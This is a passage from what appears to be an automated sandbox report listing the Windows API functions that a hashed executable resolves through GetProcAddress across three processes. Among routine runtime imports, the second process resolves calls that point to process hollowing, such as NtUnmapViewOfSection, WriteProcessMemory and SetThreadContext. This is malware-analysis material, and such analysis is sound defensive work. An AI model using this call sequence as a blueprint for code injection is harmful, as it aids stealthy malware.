"GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000656) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005260) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006816) "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" called "GetProcAddress" with a parameter 